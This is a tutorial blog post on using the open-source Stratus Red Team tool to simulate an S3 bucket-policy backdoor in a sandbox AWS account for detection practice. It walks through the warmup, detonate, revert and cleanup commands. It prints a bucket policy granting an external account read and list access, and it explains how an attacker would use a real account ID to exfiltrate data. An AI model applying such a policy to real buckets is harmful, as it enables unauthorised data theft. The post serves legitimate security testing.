S3 Bucket Backdoor Attack Simulation with Stratus Red Team

Testing your AWS environment’s security measures and your blue team’s effectiveness is crucial, and the most effective way to do this is through simulated attacks. This approach allows you to evaluate your defenses, alerts, and Threat Detection, Investigation, and Response (TDIR) capabilities in practice, rather than relying on theoretical assumptions.

Let’s take a look at how to implement attack simulations in AWS by introducing Stratus Red Team, an open-source tool designed for simulating realistic attacks on AWS, Azure, Microsoft Entra ID, EKS, and Google Cloud infrastructures. Stratus Red Team automates the creation of vulnerable environments and resources, then executes predefined attack techniques against them. It already has a large repository of attack techniques, and it’s growing every year.

In this article, we’ll focus on a specific attack simulation to give a practical demo: compromising an S3 bucket policy by creating a backdoor. This technique demonstrates how an attacker might gain unauthorized access to S3 data and potentially exfiltrate it by establishing a backdoor to an attacker-controlled AWS account.

I’ll also be sharing a cheat sheet at the end of the article that you can download for free.

With that, let’s get to it.

About Stratus Red Team

Stratus Red Team is an automated red teaming tool written in Go that was created by Christophe Tafani-Dereeper and its primary function is to simulate realistic attack scenarios, allowing organizations to test and improve their cloud security posture.

It currently supports:

• AWS
• Azure
• Google Cloud
• EKS
• Microsoft Entra ID

Key features include:

1. Automated creation of vulnerable resources: It sets up environments that mimic real-world security weaknesses
2. Predefined attack techniques (mapped to MITRE ATT&CK): It includes a library of common attack methods used against cloud infrastructures, which also map directly to MITRE ATT&CK
3. Security testing automation: It enables security teams to routinely test their defenses without manual setup. It can even be paired with Grimoire to test and improve your detection engineering
4. It maintains state: It’s capable of maintaining the state of your attacks by keeping track with 3 stages: cold, warm, and hot. For some attack techniques, it even supports reverting back, enabling you to run the same attack technique multiple times in a row

Other honorable mentions: it’s easy to get up and running, it’s customizable, and it’s free to use (not counting the cloud resources that get deployed, of course, unless you’re using Cybr’s Hands-On Labs).

Getting Started – Installing Stratus Red Team

To get started, let’s check out the GitHub repo for Stratus Red Team.

How you decide to install is completely up to personal preference and what OS you are using, but I recommend following instructions here.

On MacOs, I recommend using homebrew.

You could install directly with Go as well, or you could use pre-built binaries, run from Docker, or use a runtime version manager like asdf for Window.

If you have issues installing it, leave a comment below and we’ll troubleshoot. Otherwise, go ahead and get that done and come back here once you’ve installed.

Configuring AWS credentials

Next, it’s time to configure our AWS credentials.

For this step, you have two options:

1. You can use your own AWS environment — but do NOT use a production environment. Use a sandbox completely separated from all other resources!
2. You can use Cybr’s Hands-On Lab that we created for this exact scenario — it’s completely free and only requires a free account registration. No credit card required.

I’ll leave it up to you, but you will need valid AWS credentials to move forward. The easiest way if you want to use your own AWS account is to create an IAM user, give it admin privileges, create access keys, and set them in the AWS CLI with the aws configure command. Don’t forget to delete this user and access key after you’re done.

If you are using our lab environment, you will receive credentials after you start the lab and all you have to do is copy/paste them in aws configure.

Either way, set your credentials, and because Stratus Red Team uses Terraform behind the scenes, you may need to run these two export commands:

❯ export AWS_PROFILE=default
❯ export AWS_REGION=us-east-1Code language: JavaScript (javascript)

If you don’t run this, then it may complain that credentials aren’t set when you try to run it even if you set them.

If you are running on Windows and using Powershell, you’ll instead run these commands:

❯ $env:AWS_REGION="us-east-1"
❯ $env:AWS_PROFILE="default"Code language: PHP (php)

If you follow these steps, it should work fine. I’ve only had a couple of learners tell me that it still didn’t work in certain Linux distros. I’m not entirely sure why, but if it doesn’t let me know in the comments and we’ll try to troubleshoot.

Get familiar with Stratus Red Team Options

To make sure that everything is properly installed and configured, let’s run this command:

❯ stratus

I recommend reading through all of the available commands, but I’ll walk you through a few of them.

To view a list of all supported attack techniques, you can run:

❯ stratus listCode language: PHP (php)

Attack technique: aws.exfiltration.s3-backdoor-bucket-policy

For this lab, we’re going to be using the attack technique of aws.exfiltration.s3-backdoor-bucket-policy

❯ stratus list | grep aws.exfiltration.s3-backdoor-bucket-policyCode language: PHP (php)

So let’s display more information about it

❯ stratus show aws.exfiltration.s3-backdoor-bucket-policyCode language: CSS (css)

This tells us what the attack technique will do during warm-up and during detonation.

Attack states

Stratus Red Team can have three states for each attack:

• Cold – the attack hasn’t been executed at all
• Warm – the attack has been warmed up; In the case of this attack, warm-up will create an S3 bucket. This is the S3 bucket that it will then attack to create a backdoor policy.
• Hot – which happens when you detonate the attack

During detonation, it tells us that it will upload this bucket policy to the S3 bucket:

<pre>
<code>
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::193672423079:root"
      },
      "Action": [
        "s3:GetObject",
        "s3:GetBucketLocation",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::%s/*",
        "arn:aws:s3:::%s"
      ]
    }
  ]
}
</code>
</pre>
Code language: PHP (php)

• We have an Effect of Allow
• A Principal that’s a fake account ID — but if an attacker did this, this would enable access to their AWS account
• For Actions of s3:GetObject, s3:GetBucketLocation, s3:ListBucket; which enables the attacker to retrieve objects from our buckets

So Stratus Red Team creates its own resources that it will use during the attack simulation, which is one of the main benefits of a tool like this. Of course you can do all of this yourself, but this saves you a ton of time.

Warming up the attack

So let’s go ahead and warm up the attack.

❯ stratus warmup aws.exfiltration.s3-backdoor-bucket-policyCode language: CSS (css)

We can now check and see if a bucket was created:

❯ aws s3 ls  

We can also check the status of the attack by running:

❯ stratus status aws.exfiltration.s3-backdoor-bucket-policyCode language: CSS (css)

Detonation

We’ve warmed up the attack and we see our bucket. Before I detonate, let’s check to see if there’s a current bucket policy

> aws s3api get-bucket-policy --bucket <bucket-name>Code language: HTML, XML (xml)

We can see that there is no bucket policy currently.

Now let’s detonate the attack:

❯ stratus detonate aws.exfiltration.s3-backdoor-bucket-policyCode language: CSS (css)

It automatically detects that it has already created the pre-requisite bucket and does not need to perform the warm-up again, and goes straight to executing the attack.

❯ aws s3api get-bucket-policy --bucket <bucket-name>Code language: HTML, XML (xml)

And there it is! The tool has backdoored this bucket by uploading a bucket policy granting read access to an external AWS account. In this case the account is a fictitious account with ID of 193672423079.

Obviously an attacker would use a real AWS account ID that points to one of their AWS accounts so they can then exfiltrate data from your bucket to their account.

Now if we re-run the status check:

❯ stratus status aws.exfiltration.s3-backdoor-bucket-policyCode language: CSS (css)

We will see that it has changed the status to detonated.

Revert the attack

Once you’re done with your attack, Stratus Red Team has the ability to roll back the changes it made when you detonated, by using revert:

❯ stratus revert aws.exfiltration.s3-backdoor-bucket-policyCode language: CSS (css)

But not all attacks can be reverted depending on what it does. But this one can.

You can now check for the policy again, and see that it is missing:

❯ aws s3api get-bucket-policy --bucket <bucket-name>Code language: HTML, XML (xml)

Clean up

But wait! You’re not done yet.

Once you’ve finished running the attack, it’s important that you clean it up. Otherwise, not only are you leaving vulnerable resources in your account, but you can end up leaving Stratus Red Team in a ‘broken’ state where it’s unable to detonate that attack again since it believes it’s already been detonated. So make sure you run the cleanup command before running off:

❯ stratus cleanup aws.exfiltration.s3-backdoor-bucket-policyCode language: CSS (css)

In this case, it will delete the backdoor policy (if you haven’t already reverted) and it will delete the bucket itself.

This is different from reverting, where reverting keeps it in a warm state, while cleanup completely removes all related resources and changes it to the “cold” state.

You can verify that the bucket is gone with this command:

❯ aws s3 ls

Conclusion & cheat sheet download

Congrats, you’ve just run an attack simulation against your AWS environment!

There are many more attacks that you can run through Stratus Red Team, and you can check those out in the documentation. We also provide some of these attacks as Hands-On labs that you can deploy on Cybr, so check out our Hands-On Labs here.

Otherwise, as a next step, I’d recommend using these attack simulations to practice detection and incident response. I’ll be creating separate articles, videos, and labs dedicated to that, so subscribe to our newsletter below to get notified.

As promised, here’s a link for your free cheat sheet download that talks more about Stratus Red Team as well as another attack simulation tool called Atomic Red Team (topic for another article!)

Want more AWS security cheat sheets? Check this out.